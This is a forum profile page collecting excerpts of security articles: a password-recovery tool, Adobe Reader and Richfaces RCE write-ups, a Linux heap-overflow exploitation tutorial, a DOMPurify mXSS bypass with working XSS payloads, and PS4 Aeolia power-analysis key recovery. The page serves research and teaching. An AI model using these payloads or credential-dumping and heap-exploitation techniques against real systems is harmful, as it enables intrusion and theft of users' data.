-
Posts
18772 -
Joined
-
Last visited
-
Days Won
730
Everything posted by Nytro
-
PassCat Passwords Recovery Tool PassCat is an open source Windows native C++ application capable of retrieving the passwords stored locally on a computer. For a full list of our tools, please visit our website https://www.twelvesec.com/ Written by: maldevel (twitter) Dependencies Windows 10 x64 Microsoft Visual C++ 2017 Redistributable (x64) Compilation Visual Studio 2017 (Choose Release Configuration and x64 Platform) Supported software FileZilla Windows Wireless Network WinSCP Pidgin Windows Credential Manager Vault Files Internet Explorer Browser Google Chrome Browser Opera Browser Firefox Browser Thunderbird Email Client (you have to build PassCat for Windows 10 x86. Keep in mind that using the x86 version you will not be able to retrieve Firefox passwords) Credits LaZagne Sursa: https://github.com/twelvesec/passcat
-
CVE-2018-12794: Using Type Confusion to Get Code Execution in Adobe Reader September 18, 2018 | The ZDI Research Team One of the most common submissions to the ZDI program we see involves bugs impacting PDF documents, and most of these bug reports involve Adobe Reader. We see so many, it takes something special to really catch our attention. The July update for Reader included a patch for CVE-2018-12794/ZDI-18-682. Reported to the program by Sebastian Apelt, the quality of the write-up was too good for us not to share. The Setup The underlying cause of the vulnerability is a Type Confusion condition. By constructing an XML Data Package (XDP) template and performing certain JavaScript actions on XML Forms Architecture (XFA) objects, an attacker can force Reader to reference data out of the bounds of a Template object. When successful, code execution occurs within the sandboxed renderer process. Articol complet: https://www.zerodayinitiative.com/blog/2018/9/18/cve-2018-12794-using-type-confusion-to-get-code-execution-in-adobe-reader
-
0. The story A target during my pentest was using Java Server Faces (JSF) with an UI framework namely Jboss Richfaces. After exploiting the target using CVE-2013-2165 on Richfaces 4 (covered at my last post), I caught Codewhitesec’s blog post [1] about a new 0-day vulnerability in the Richfaces library. @mwulftange made a well-written research summary into his discovery with many of the details worth paying attention to, especially for a new learner in Java security like myself. Most parts sound ambiguous and unclear to me at the time, so I decided to give it a deeper look, reproduce the analysis and turn it into a working exploit. The vulnerability, which was assigned CVE-2018-12532, couples Expression Language (EL) Injection with Java deserialization in Richfaces 4.x. Unlike a common vulnerability that triggers after a couple of requests, this takes some more effort to get to the RCE. This blog post aims to help with the path to achieve a reliable RCE exploit, based on the experience of exploiting it in public applications. In short, I’m gonna talk about a technique to get around the main obstacle in exploiting the vulnerability – incompatible library restrictions in deserialization process. There will also be some insights on Java EL expression and its limitations, along with a payload to reliably get through them. 1. The treasure… I recommend reading through the the other blog first for an overview of the vulnerability. Briefing through it, the vulnerability lies in the arbitrary injection of EL expression into Java serialized object, which Richfaces fetches from user input without any proper protection. Richfaces’ security history (a.k.a. CVE history) all originate from the way a resource handler processes a request, which is as follows: -> Get processing class, say X from URI & get serialized state object for X from parameter do -(1)-> deserialize state object --(2)-> create an instance of X and restore its state ---(3)-> process X and produce corresponding response (images, videos, tables...) And the corresponding vulnerabilities. CVE-2013-2165 is an arbitrary deserialization issue, originating from phase (1) CVE-2015-0279 is the injection of EL into serialized object, originating from phase (3) The latest CVE-2018-12532 is simply a bypass of the previous CVE-2015-0279 The technique to be mentioned lies in phase (2) Since CVE-2018-12532 is a mitigation bypass, exploting it would mostly be just the same as exploiting CVE-2015-0279. For that, it’s necessary to credit Takeshi Terada on the discovery of CVE-2015-0279 since it is the base for the vulnerability. Unfortunately his report to the Jboss team (also the only resource about the vulnerability) has yet to produce a reliable exploit and enough vulnerability information. The EL injection vulnerability lies in a call to MethodExpression.invoke() in org.richfaces.resource.MediaOutputResource#encode. Matching to the above flow, X in this case is the class org.richfaces.resource.MediaOutputResource, and its state object is the EL expression itself. So in theory to exploit the vulnerability, we need to point the request’s endpoint to MediaOutputResource and construct a suitable serialized object to reach the vulnerable code line. 2. … in the middle of the sea The interesting thing is that Richfaces utilizes the deserialization process to produce the expression input, unlike the usual flow which is to take a string input and turn it into an expression afterwards. This process raised some concerns to exploit the vulnerability, as quoted from the original researcher. Exploitation of this vulnerability is not always that easy. Especially if there is no existing sample of a valid do state object that can be tampered with. Because if one would want to create the state object, it would require the use of compatible libraries, otherwise the deserialization may fail. The deserialization failure he’s referring to is caused by either Non existent classes in the target application’s classpath, meaning some classes exist in the local environment but are not present on the target’s application, or If the classes do exist, an additional problem is mismatching UIDs, coming from the idea of Stream Unique Identifier. Simply talking, to successfully deserialize, the class in the serialized stream and the class in the current classpath must have the same variable serialVersionUID specified explicitly in the code. Or if the developer doesn’t specify one, it must have identical class signature (method names, types, modifiers…) which the application would use to compute the UID. Check out the reference above for the exact calculation. This would mean a real pain in real-world exploits if the vulnerable application is using some unsual combination of libraries stack. If you have tried to exploit deserialization in JSF Myfaces before, these obstacles would look very much like trying to use the 2 gadgets Myfaces1 and Myfaces2 in ysoserial. The author of the gadgets did try to list some combinations of available EL implementations to overcome it there, but it won’t work reliably from the way I see. While doing code reviews during the analysis, I came up with a way to overcome this in Richfaces 4, which makes exploiting the vulnerability more practical. Articol complet: https://tint0.com/when-el-injection-meets-java-deserialization/
-
Hunting mobile devices endpoints - the RF and the Hard way Written by Sébastien Dudek · 2018-09-13 · in Hardware When conducting intrusion tests, knowledge of endpoints and exchanged data is mandatory to test targeted applications, devices, and remote servers. If the target provides an Android, or iPhone application, it is possible to extract some URLs, and with any luck some secrets by disassembling the application or/and capturing the generated network traffic. But when no Android nor iPhone applications are available, attackers need to be more creative, and use other tricks to get any interesting inputs/content/behavior. Moreover, secrets exchanged between a targeted device and its servers could be totally different from those exchanged between an application and its servers, as well as contacted URLs. Indeed, pentesters are in certain cases confronted to devices with hardcoded credentials, certificates, or any other information giving further access to intrude the system. In addition, the level of trust could be overestimated by vendors/constructors, who give more privileges to devices compared to basic users. So breaking into the device or/and directly intercepting its communication could be a real change during intrusion tests. This article is about getting those information from IoT devices that use the mobile network to exchange data and commands. Different techniques will be introduced: RF way: use of mobile data interception techniques; Hard way: dump and analysis of a firmware. To illustrate these attacks, examples will be based on a 3G intercom well deployed in France, which is powered with a PIC24FJ micro-controller. Articol complet: https://www.synacktiv.com/posts/hardware/hunting-mobile-devices-endpoints-the-rf-and-the-hard-way.html
-
- 2
-
-
Linux Heap Exploitation Intro Series: Set you free() – part 2 Reading time ~15 min Posted by javier on 06 September 2018 Categories: Heap, Heap linux, Heap overflow, Apngopt, Exploit, Exploitaion Intro Hello there! On this part we are focusing on abusing chunk creation and heap massaging in hope of overwriting the __malloc_hook weak pointer. Before getting into all the juicy stuff let’s remember some key things from last post. The value returned by png_get_uint_32 is of type unsigned integer For a 32 bit integer, the following happens: 0xffffffff + 1 = 0 fread will read values into the destination unless it can’t read from source memory (spoiler: it can) fread will return the number of elements read from the source Points 1 and 2 were made clear but 3 and 4 were left unanswered. The exploit (pt. 2) Let’s recap First of all, have a look at the following image and think that the PNG chunks in it, will get translated into heap chunks. Magic number into APNG file. Now, as analysed in the previous post, there are two vulnerabilities happening that lead to a buffer overflow. Said overflow happens in the following line: ... if (fread(pChunk->p + 4, pChunk->size - 4, 1, f) == 1) ... fread is a tricky function to use here as it will return the number of elements read even if it cannot read one element or errors out, it will copy the elements into the destination. The direct implication of this has been shown already: It will read as many bytes as there is in the file into the destination! Keep in mind that our goal still is to overwrite the __malloc_hook pointer in order to control the instruction pointer. Visualising the culprit It is highly recommended to do it all with gdb by inspecting the memory manually in order to feel comfortable within the debugger and with memory inspection. However, for the sake of this posts’ simplicity, let’s run our crash straight into villoc: LD_PRELOAD="$(locate libvilloc.so)" ./apngopt images/6frames-AnimatedPNG-blogpost.png |& $(locate villoc.py) - trace.html If we start inspecting the trace generated by villoc, we will notice that there has been an error at the very bottom of it. Error represented by villoc Check the memory-corruption-trace that was printed on the terminal. There, we should have an address that was corrupted on the line stating something like: *** Error in `./apngopt': malloc(): memory corruption: 0x1ffe4a0 *** If you ran the command, you should have a different address than 0x1ffe4a0 due to ASLR. Can you find it? As a hint, when searching for it, try to search just for the equivalent of the 1ffe4 part instead of the whole address. It’s left as an exercise for the reader to inspect why the addresses are shown differently on villoc vs. gdb. Searching for address on villoc trace With this, we can conclude that the culprit of causing memory corruptions has to be on the left side of 0x1ffe490, perhaps maybe, the fastchunk (purple) at 0x1ffe470 that was malloc‘d with a size of 0x1? Mr. (unsorted) Bin Let’s inspect some of the latter in gdb and see what’s happening with the corruption. Do add libc symbols via this link and remember to also enable debugging symbols for apngopt by making use of the CFLAGS variable and setting it to -ggdb. With this in mind we are ready to make it crash and inspect what is the state of memory as of the crash. Run: pwndbg> r images/6frames-AnimatedPNG-blogpost.png Inspecting the bins structure with pwndbg Nothing would stand out here until one realises how much of “ascii” the 0x826042ae444e address contains. Hex decoding address Look at that! Now, get your little-endian glasses and look at this! Little-endian representation of overflown values Let’s change those bytes into eight “A” characters and see what happens. Controlling address in unsorted bins Cool! We can control stuff but, why? On this specific case we are overflowing into a free chunk right from the chunk that’s behind 0x63b620 (flashbacks to villoc!). We are overwriting enough to get to the FD pointer of that chunk but, in the end, it will not be possible to “fool” the allocator because of the implemented checks in malloc.c. Controlling FD pointer (Green). Malloc size checks against size (Red). Without going into too much detail, the allocator first checks if the size of the free chunk is less than the maximum possible (highlighted in red) and, afterwards, checks the validity of the next free chunk (the fake one we would put instead of 0x4141414141414141). I have fallen into that rabbit hole long ago and didn’t find anything interesting – maybe you have better luck or know more heap exploitation techniques! If so, please share these! The Size Is Right Inspecting the heap on the previous state we can tell that it is not what we wanted since the chunks we control are stored in the unsortedbin list. This would be the first headache of them all since, something happened during the course of the application that coalesced chunks into a free space, which in turn, ended in the unsortedbin list. Lot’s of debugging (application and malloc.c) needed. This is not ideal for our exploitation since what we need is to control the FD pointer of a fastchunk of size 0x70. For this matter, we just need to remember where the vulnerability resides, which will help us crafting chunks of our wanted size. Again, have a look into the following lines inside apngopt.cpp: ... pChunk->size = png_get_uint_32(len) + 12; pChunk->p = new unsigned char[pChunk->size]; ... The new operator is allocating chunks of pChunk->size. Doing some maths, we need len to contain: (0x70-0x8) = len + 0xc len = 0x70-0x8-0xc len = 0x5c Being, 0x70 the allocation we want to trigger, 0x08 for the meta-data of the chunk and 0xc the value that gets subtracted in the code. This should generate a fastchunk of size 0x70. APNG Massage right in the heap To practice, let’s try to generate the aforementioned fastchunk of size 0x70 through an APNG chunk. As we know by know, the first four bytes of a PNG chunk describe the size of the data contained within. We are going to use this size to craft memory chunks of our desired size. In our specific case, the PNG chunk has to have a size of 0x5c as this will be the len variable which later, will allocate a fastchunk of 0x70. First thing to do is to cut the bytes we added previously in order to let the APNG Optimizer program to properly go through all the file without hitting a crash. Remove the last few bytes until the letter “w”. The file should be 490 bytes long now. Ascii contents of testcase Conforming to the PNG specification, IHDR is the first chunk to appear in a PNG right after the magic bytes header. We are not going to mess with this one as of yet – we are targeting the PLTE chunk as it’s an easy one to tamper with. This chunk is flagged as a critical chunk on a PNG file, meaning it is necessary for the fine display of the file. However, this PNG chunk is optional and it only has two constraints: to appear just before the first IDAT chunk (Image DATa chunk) and its length to be divisible by 3. Doing more maths, since 0x5c mod 0x3 != 0, the next value divisible by 3 that will still trigger a malloc of size 0x70 will be 0x5a (90). Remember that this value can be chosen because it’s going to be padded to the next 16 byte chunk size. The PLTE section should now look like this and the apngopt program should “optimize” it just fine: PLTE Section crafted for a 0x70 fastchunk See that the size change was done from 0x18 to 0x5a so we need to fill the PNG chunk’s data with further 0x5a - 0x18 bytes, hence AAAAA.... To check this new allocation you can either run villoc or inspect within gdb. Let’s show our created chunk of size 0x70 on gdb: The playground FD->FD->FD->FD->PoC Now that we know how the PNG chunks are formed, how these translate into the heap and know how to control these within the program itself it’s time to show some proof of concepts. Please note that this is the point I am stuck in for this exploit and haven’t got the time to advance any longer towards control of the instruction pointer. The PoC The following Proof of Concept effectively massages the heap to place a fastchunk of size 0x70 after a smallchunk. It does so by writing the same contents of the following chunk until it gets to the fastchunk of size 0x70 and overwrites its FD pointer. You can download the proof of concept file from here: fastchunk FD PoC file. In theory, apparently, etc. We could set the FD pointer to be near __malloc_hook having in mind that to where we point in memory it has to resemble a fake size of 0x70. This is “no problem” because near__malloc_hook we have: pwndbg> x/8gx &__malloc_hook - 6 0x7ffff70eaaf0 <_IO_wide_data_0+304>: 0x7ffff70e9260 0x00000000000 0x7ffff70eaaf0 <_IO_wide_data_0+304>: 0x7ffff70e9260 0x00000000000 0x7ffff70eab00 <__memalign_hook>: 0x7ffff6dabe20 0x7ffff6daba00 0x7ffff70eab10 <__malloc_hook>: 0x000000000000 0x000000000000 In theory, it can be possible to set the pointer to that address since 0x7f =~ 0x70 (both values are almost the same) to the eyes of the allocator. The deep details of why this tricks the allocator can be found inside malloc.c on the portion of code that does the look up for the index of the required fastbin list. Truth is, with ASLR enabled, that address is going to change and, without any memory leaks, it’s not going to be possible getting the right address. Also, if we choose a byte in memory that doesn’t have a null pointer afterwards, the allocator will think that there is another free fastchunk at that address. See: pwndbg> x/6gx 0x7ffff70eaaed 0x7ffff70eaaed: 0xfff70e9260000000 0x000000000000007f 0x7ffff70eaafd: 0xfff6dabe20000000 0xfff6daba0000007f 0x7ffff70eab0d: 0x000000000000007f 0x0000000000000000 Fastbins analysis after memory corruption TheFD pointer for 0x7ffff70eaaed is 0xfff6dabe20000000, which is an invalid memory address. Finally, another caveat that we need to think about when trying to exploit programs that take binary formats is that we don’t have a scripting environment. This is, we are constrained to tamper with bytes within a file and not writing some exploit in JavaScript against a browser where we can store leaked addresses into a variable and then use it. Further steps All is not lost and if we observe which part of the code is consuming these fastchunks something will catch our eye. Set a break point on apngopt.cpp:1181 and run the debugger with our PoC file: ... 1181 unsigned char * temp = new unsigned char[imagesize]; 1182 unsigned char * over1 = new unsigned char[imagesize]; 1183 unsigned char * over2 = new unsigned char[imagesize]; 1184 unsigned char * over3 = new unsigned char[imagesize]; 1185 unsigned char * rest = new unsigned char[imagesize]; ... Can’t see it yet? Hint, the imagesize variable is 0x66 bytes. This is set through the PNG chunk IHDR’s width and height. Variable over1 near __malloc_hook Now it’s clear that the variable over1 is not in the heap and it’s in the position we want. At this point when trying to allocate a fastchunk for the variable over2 it will crash on trying to allocate a fastchunk at 0xfff6dabe20000000. How can we prevent this crash? Apparently, easy. Since the variableover1 is our first fake chunk, we would need to create a fake heap of four consecutive fastchunks of size 0x70 so that, our controllable fastchunks lands on the variable rest. This does indeed work (without ASLR!) but, we will hit another condition I haven’t managed to overcome yet: The PNG file needs to have more than 4 frames after the optimisation has happened. This is why this post has started providing a template with 6 frames! Controlling the instruction pointer As a last short note it was mandatory to show that, theoretically it might be possible (with huge amounts of work) to control code execution. With the help of gdb this can be checked by manually filling the variable over1 with AAAA...: You can get all the files that I have used throughout this blog post here: apngopt1.4-exploit-dev.tar Villoc, setarch and ASLR If you want your villoc traces to be consistent with gdb addresses run the villoc command as follows: LD_PRELOAD="$(locate libvilloc.so)" setarch `uname -m` -R ./apngopt images/6frames-AnimatedPNG-blogpost.png |& $(locate villoc.py) - trace-setarch.html Bear in mind that, because of preloading the libvilloc.so library to setarch too, it will hook setarch malloc calls as well and give us more information than needed. Information that is actually not related to the apngopt program. Conclusion Trying to develop exploits for programs without a scripting environment is quite hard due to recent mitigations. Furthermore, it can even get trickier if we are working on an userland heap based exploit, at least that is what this experience has shown. If we look at heap exploitation from the perspective of ptmalloc2 by Wolfram Gloger (originally Doug Lea) we can see that, there is no formula to follow (maybe like we are used to see on stack based vulnerabilities) and development is heavily influenced by how the program uses the memory. Not only a deep understanding of how the allocator works is needed but a deep understanding of the program’s functionality itself. Should you have any further questions or anything do not hesitate on writing an email to me: javier at the domain name dot com. It is the way one treats his inferiors more than the way he treats his equals which reveals one’s real character. Sursa: https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-2/
-
- 1
-
-
Exploit-Development-Tools
Nytro replied to Nytro's topic in Reverse engineering & exploit development
Hacking, the art of exploitation Dar gasesti multe tutoriale pe Google. -
Inscrieri pentru Defcamp CTF (DCTF). https://dctf.def.camp/
-
Call for papers este inca deschis. Puteti aplica aici. Optiunile de sponsorizare sunt aici.
-
The Controversial Speck Encryption Code Will Indeed Be Dropped From The Linux Kernel Written by Michael Larabel in Linux Kernel on 4 September 2018 While Google got the NSA-developed Speck into the Linux kernel on the basis of wanting to use Speck for file-system encryption on very low-end Android (Go) devices, last month they decided to abandon those plans and instead work out a new "HPolyC" algorithm for use on these bottom-tier devices due to all the concerns over Speck potentially being back-doored by the US National Security Agency. After Google reverted their plans to use Speck for file-system encryption, it was called for removal from the Linux kernel with no other serious users of this code... Speck had been added to the crypto code in Linux 4.17 and then to the fscrypt bits for file-system encryption with Linux 4.18. But during the Linux 4.19 merge window that ended a week ago, the removal of Speck never occurred. While it didn't happen for this current kernel cycle, I noticed today that the speck removal patch has been merged into the development crypto code base by subsystem maintainer Herbert Xu. The patch merged overnight strips the kernel of Speck. This along with the start of other early crypto code will end up being merged into the next kernel cycle though the patch is also marked for stable back-porting to currently supported stable series. Sursa: https://www.phoronix.com/scan.php?page=news_item&px=Speck-Dropping-Next-Kernel
-
- 1
-
-
Dan Brown - Simbolul Pierdut
-
Hacker roman: https://twitter.com/aionescu Ce-i drept, nu locuieste in Romania, doar s-a nascut aici... Sper ca stiti cine e.
-
Cam asa ceva. Dar da bine la HR. Bine, serios vorbind, are valoarea ei. De fapt, ea nu e o certificare pentru "pentest" si una care ofera celui care o are cunostiinte generale de "security" din foarte multe arii. E utila pentru pozitii de management, deoarece "pentest" e doar o mica parte din ceea ce inseamna "security".
-
CISSP, dupa cum e si descris, incearca sa "acopere o arie larga, dar o adancime mica". Adica acopera foarte multe lucruri din domeniu IT/Information Security, insa nu intra in detalii. Am inteles ca incearca sa imbunatateasca CEH, si ca vor sa adauge lucruri practice, dar nu stiu daca au evoluat prea mult cu ultima versiune. Mai relevante pentru un penetration tester ar fi GXPN de la SANS - la care au si teste practice, si desigur, OSCP, unde ai un examen de 24 de ore (ca sa nu mai zic ca recent au introdus verificare si pentru a da examenul trebuie sa stai cu camera pornita, sa se asigure ca il dai tu si nu altcineva in locul tau).
-
Am si eu CISSP si nu prea m-a ajutat in cariera de Penetration Tester Si sunt probabil multi care au, dar probabil nu e de ajuns ca sa faca o treaba buna.
-
Inainte de conferinta, pe 25 septembrie, o sa fie si un meetup: https://www.facebook.com/events/524117008034356/
-
BSides Bucharest is a non-profit organization, independently run, community supported conference and part of the worldwide Security BSides movement. The idea behind the Security BSides Bucharest event is to organize a sales-pitch free Information Security community where professionals, experts, researchers, and InfoSec enthusiasts come together to discuss. Presenters – who should speak at the Bsides Bucharest 2018 Conference? IT Security professionals IT Security enthusiasts Companies, organisations and anyone else that is interested in the IT Security field. If you belong to one of those groups you are cordially invited to submit a talk proposal (or a number of proposals). Please submit your proposals here. Deadline is October 15, 2018 Please note: There is no guarantee that a submission will be put onto the conference agenda! The program committee picks the most interesting talk proposals and informs the selected submitters until 1st of November 2018. Any questions? Email organizers at contact@bsidesbucharest.org Detalii: https://bsidesbucharest.org
-
" Nice to have - one or more relevant certifications (CEH, CISSP, ...) "
-
Au inceput sa apara detalii: https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2018
-
Ba, copii prosti, ganditi si voi inainte sa faceti ceva.
- 1 reply
-
- 8
-
-
-
Din C#/Powershell se poate face orice se poate face si in C/C++, iar unele lucruri se pot face mai rapid. Cred ca de-asta se agita lumea cand e vorba de asa ceva, ca e mai putin code de scris, insa nu e nimic special. Nu m-am lovit mai de nimic deoarece nu am lucrat prea mult cu C# si .NET, insa poate sa faca multe. Ah, da, sigur, cu sanse mai sa fie "undetectable".
-
HTTPS Is Easy! No, really, it's dead simple. This 4-part series takes you through the basics of adding HTTPS for free with Cloudflare. Part 1: Adding HTTPS Let's start by getting HTTPS configured on the site and all non-secure requests redirecting to the secure scheme. Part 2: Optimising HTTPS Let's now configure HTTPS to be as secure as possible, surpassing "bank grade security" in just a few clicks. Part 3: Fixing Insecure References Insecure references in the HTML can take away browser indicators and put users at risk - let's fix them! Part 4: Encrypting Everything Secure all the traffic not just between the browser and Cloudflare, but all the way back to the server. A big thanks to the community for contributing closed captions in 17 different languages including: Czech, Danish, Dutch, English, Finnish, French, German, Greek, Indonesian, Italian, Norwegian, Persian, Polish, Russian, Slovenian, Spanish and Swedish. Powered by Cloudflare Built by Troy Hunt Read more about this initiative in the launch blog post. Sursa: https://httpsiseasy.com/
-
George Hotz, comma.ai Forget reversible debugging, why is it that the concept of time exists in debugging at all? Viewing execution as a timeless trace, the open source tool QIRA(qira.me) attempts to move debugging into a new paradigm. Battle tested in CTFs, I will be presenting the tool and showing off a 10x speedup in exploit development cycle. Sign up to find out more about Enigma conferences: https://www.usenix.org/conference/eni... Watch all Enigma 2016 videos at: http://enigma.usenix.org/youtube
-
- 1
-
-
In our presentation, we explain in detail how ME 11.x stores its state on the flash and the other types of file systems that are supported by ME 11.x. By Dmitry Sklyarov Full Abstract & Presentation Materials: https://www.blackhat.com/eu-17/briefi... How to Hack a Turned-Off Computer or Running Unsigned Code in Intel Management Engine: https://youtu.be/9fhNokIgBMU
-
Bypassing DOMPurify with mXSS Sunday, 29 July 2018 I noticed DOMPurify would let you use the title tag when injecting a self closing SVG. Normally it blocks title outside of SVG however using the self closing trick you could bypass that restriction. <svg/><title> Injecting the title tag is important because it mutates, as I’ve tweeted about in the past. In order for the mXSS to be effective I needed to inject the title tag outside of SVG as DOMPurify/Edge would correctly encode the HTML. I found you could use “x” as a self closing tag in DOMPurify and this would enable me to use the title tag outside of SVG. For example: IN: <x/><title>test OUT: <title>test</title> Great so I could get mXSS right? Well almost. I injected a mXSS vector with my “x” trick. IN: <x/><title></title><img src=1 onerror=alert(1)> OUT: <title></title><img src="1"> Damn, so DOMPurify was detecting the malicious HTML and removing the onerror attribute. But then I thought what if this attribute is being read multiple times, maybe I could inject a mXSS vector that mutates more than once. Here is the final vector that is encoding multiple times so it bypasses DOMPurify attribute checks. IN: <x/><title>&lt;/title&gt;&lt;img src=1 onerror=alert(1)&gt; OUT: <title></title><img src=1 onerror=alert(1)></title> The vector has been fixed in the latest version of Edge and also has been patched in DOMPurify version 1.0.7. If you want to experiment with the bypass then use DOMPurify 1.0.6 and Microsoft Edge 41.16299.547.0. Sursa: http://www.thespanner.co.uk/2018/07/29/bypassing-dompurify-with-mxss/
-
2018-07-30 PS4 Aux Hax 1: Intro & Aeolia By ps4_enthusiast Filed under ps4 vulnerability exploit In the PS4 Aux Hax series of posts, we’ll talk about hacking parts of the PS4 besides the main x86 cores of the APU. In this first entry, we’ll give some background for context and describe how we managed to run arbitrary code persistently on Aeolia, the PS4 southbridge. Not shown in this post are the many iterations of failure which lead to success. The blog would be much too long The subtitle should be “power analysis for noobs”. Intro (Overview of SAA-001) Most of our experimentation is conducted against the SAA-001 version of the PS4 motherboard. This is the initial hardware revision which was released around the end of 2013. There are a few obvious reasons for this: Older hardware revisions are more likely to be populated with older components, resulting in e.g. chips with legs instead of BGA, slower clocks, functionality in discrete parts, etc. Early designs likely have more signals brought out for debugging Used/defective boards can be acquired cheaply Readily available media from initial teardowns/depopulation by third parties (ifixit, siliconpr0n, etc.) Using the resources from siliconpr0n and simple tools, as many wires as possible were mapped on the board. The final pin mapping which I’ve used throughout the work for this blog series can be found here. Interesting components outside the APU The areas of interest for this post are shown here: External to the APU, the main attractions are the “southbridge” (generally known as Aeolia) and syscon chips. Each is involved in talking to various peripherals on the board as well as controlling power sequencing for other components. Taking control of Aeolia is useful as it allows getting a foothold on the board in order to easily access busses shared with other chips. For example, control of Aeolia should allow performing attacks similar to our previous PCIe man-in-the-middle DMA attack against the APU - using only devices already present on the board. It also would allow easy access to the icc (aka ChipComm) interfaces of FreeBSD running on x86 (via PCIe), as well as the icc interface implemented on syscon (over SPI). As Aeolia is kind of the southbridge for the APU, it naturally would allow intercepting any storage (sflash, ddr3, hdd, …) or networking accesses as well. Finally, Aeolia is a self-contained SoC with multiple ARM cores which provides a decently beefy environment for experimenting with. Syscon is also interesting for other reasons, which will be elaborated upon in a future post. Aeolia Sizing up the target Early on, it was easy to discover the following about Aeolia: The cores which are active during “rest mode” (APU S3 state) are called “EAP” EAP runs FreeBSD and some usermode processes which can be dumped from DDR3 for reversing Some other component inside Aeolia is likely named “EMC” A shared-memory based protocol named “icc” can be used to communicate with EMC EMC can proxy icc traffic with syscon to/from APU Firmware updates (encrypted and signed) are available for Aeolia At first, we just wanted to be able to decrypt firmware updates in order to inspect what Aeolia really does and how it works with the rest of the system. The components in the firmware were relatively easy to identify, because the naming scheme of files stored in the filesystem (2BLS: BootLoaderStorage) is a 32bit number which identifies the processor it’s for as well as a number which more or less relates to the order it’s used in the boot process. Firmware update packages for Aeolia are essentially just raw filesystem blobs which will be written to sflash, so it’s easy to extract individual firmware components from a given firmware update package. The files in sflash for Aeolia consist of: File Name Name Dst CPU Notes C0000001 ipl SRAM EMC first stage fetched from sflash C0010001 eap_kbl DDR3 EAP EMC loads to boot EAP; contains FreeBSD So, we want to find a way to decrypt the ipl, preferably “offline” i.e. such that we can just directly decrypt the firmware images from update files. Considering that the ipl must be read and decrypted from sflash each time Aeolia powers up, this sounds like a perfect candidate for key recovery via power analysis! Setting up shop Recovering the decryption key via well-known attacks such as Correlation Power Analysis should be possible as long as the input data (ciphertext) is controllable to some extent. Initially, everything about the cryptographic schemes for encryption and validation were unknown. This results in a bit of a chicken/egg problem: determining if it’s worthwhile to take power traces for an eventual CPA attack requires doing mostly the same work as the CPA attack itself. As there’s no way around setting up a PS4 for trace acquisition, I just got on with it. Above, a murderedmodified PS4 for EMC power analysis. From bottom left: sflash replaced with flash simulator on FPGA main Aeolia clock (100MHz spread-spectrum) replaced with slowed down clock (~8MHz, non-SSC) from FPGA. Clockgen is disabled to minimize noise. aux. crystal replaced with wire Just a floating wire, used to manually input a “clock cycle”, which seems needed to unblock power-on-reset sequence (not needed for resets which keep power on) (near top right of Aeolia) power trace, extends to back of board and connects to EMC core power plane. Decoupling caps have been removed. (blue wire) replaced, “clean” power supply for EMC (white wire, top right) FPGA GPIO hooked to SC-RESET (not shown) FPGA exports a copy of base clock for oscilloscope refclk The setup settled on was based around simulating sflash on an FPGA in order to get as fast iteration times as possible. This choice also allowed easily exploring the bootrom’s parsing of sflash and ipl (explained in the next section). The SC-RESET test point was used as a hammer to cause a full-board reset, implicitly causing EMC to be rebooted by syscon. As for analysis/software tooling, the advanced numpy and baudline tools were used to analyze traces and eventually run the CPA attack. Power analysis as debugger Because the ipl was initially an opaque blob, we first needed to discover how the bootrom would parse sflash to arrive at the ipl, and then how the ipl itself would be parsed before the decryption of the ipl body. Investigating this parsing allowed discovering which parts of the filesystem and ipl blob were used, at which time they were used, and the bounds of any fields involved in the parsing. Simply viewing and diffing power traces proved to be a very effective tool for this. It was possible to check for possible memory corruption/logic bugs in the bootrom by simply modifing filesystem structures or ipl header fields and checking the power trace for irregularities. For example, once we had a good guess which field of the ipl header was the load address, we could try changing it in the hopes of hitting e.g. stack region in SRAM, and then check the trace to see if execution appeared to continue past the normal failure point. Unfortunately a bug was not found in this parsing, but this step helped a lot in understanding the layout of the ipl header and which fields we could change to attempt key recovery. By using power analysis, we determined the header of the ipl blob looked like: struct aeolia_ipl_hdr { u32 magic; // 0xd48ff9aa u8 field_4; u8 field_5; u8 field_6; u8 proc_type; // 0x48: EMC, 0x68: EAP u32 hdr_len; u32 body_len; u32 load_addr_0; u32 load_addr_1; // one is probably entrypoint.. u8 fill_pattern[0x10]; // DE AD BE EF CA FE BE BE DE AF BE EF CA FE BE BE u8 key_seed[0x8]; // F1 F2 F3 F4 F5 F6 F7 F8 // key_seed is used as input to 4 aes operations (2 blocks each) // some output of those operations is used as the key to decrypt the // following 5 blocks u8 wrapped_thing[0x20]; u8 signature[0x30]; // offset 0x80 u8 body[body_len]; }; See the full notes, including discovered bounds and parsing rules here. This was my first experience with power analysis, and I was quite encouraged by the capabilities so far To show how this was done (well, at least the parts relating to fields used in crypto operations), observe the following spectrograms from baudline. Note: the time units are meaningless. Above is the trace of the bootrom beginning to process the ipl. If you squint a bit, you can tell there are 4 nearly identical sections, then a long section which seems to be an extended version of one of the first four. Afterwards, longer, more stable periods are visible. Above is the result of comparing 5 traces to a single “base” trace. The method of comparison was to modify the contents of each 0x10 byte block in the header in the range of wrapped_thing and signature in turn, then mux the resulting trace with the base trace. This allows easy experimentation with baudline. As shown, baudline is actually performing subtraction between “channels” to produce the useful output. This immediately gives good information about what a block looks like in the spectrogram, the time taken to process it, the fact that modifications to a single block don’t have much influence on successive blocks, and most importantly, that we can feed arbitrary input into some decryption step. This implies the signature check of the header is done after decryption of wrapped_thing. Digging into the crypto While the above seems to bode well, there’s actually a snag. It appears the bootrom uses wrapped_thing as input to a block cipher and then signature checks the header. So it seems possible to recover the key used with wrapped_thing, however it’s not clear if this will give us all information needed to decrypt the ipl body. Additionally, the header is signature checked, so we can’t use an improper key to decrypt an otherwise valid body, then have EMC jump into garbage and hope for the best. In any case, I decided to try for recovery of the key used with wrapped_thing and hope I’d be able to figure out how to turn that into decryption of the body. Baby’s first DPA Before attempting key recovery, one must first locate the exact locations in power traces which can be used to identify the cipher and extract information about the key. Starting from not much info (just know it’s a 0x10 byte block cipher), we can guess it’s probably AES and try to see if it makes sense. The method to do this is essentially the same as Differential Power Analysis: identify the probable location of the first sbox lookup, take a bunch of traces with varying input, then apply sum of absolute differences to determine if the acquired traces “look like” AES. Fortunately, this process yielded very straightforward results: (Sorry, you’ll probably need to open the images at full resolution to inspect them) ^ High level view of a complete block being passed through the cipher. If you squint you may be able to discern 10 rounds. The top is a singular raw trace, while the bottom group plots the sum of differences between all traces. ^ Closer view of the sum of differences. The above already makes it very likely to be AES. However, there is an additional check which may be done, which allows determining if the operation is encryption or decryption: ^ The same sum of differences, but making it obvious when, exactly, each bit position (of the input data) is used by the cipher. This can be easily correlated to most AES software implementations. For example, mbedtls: 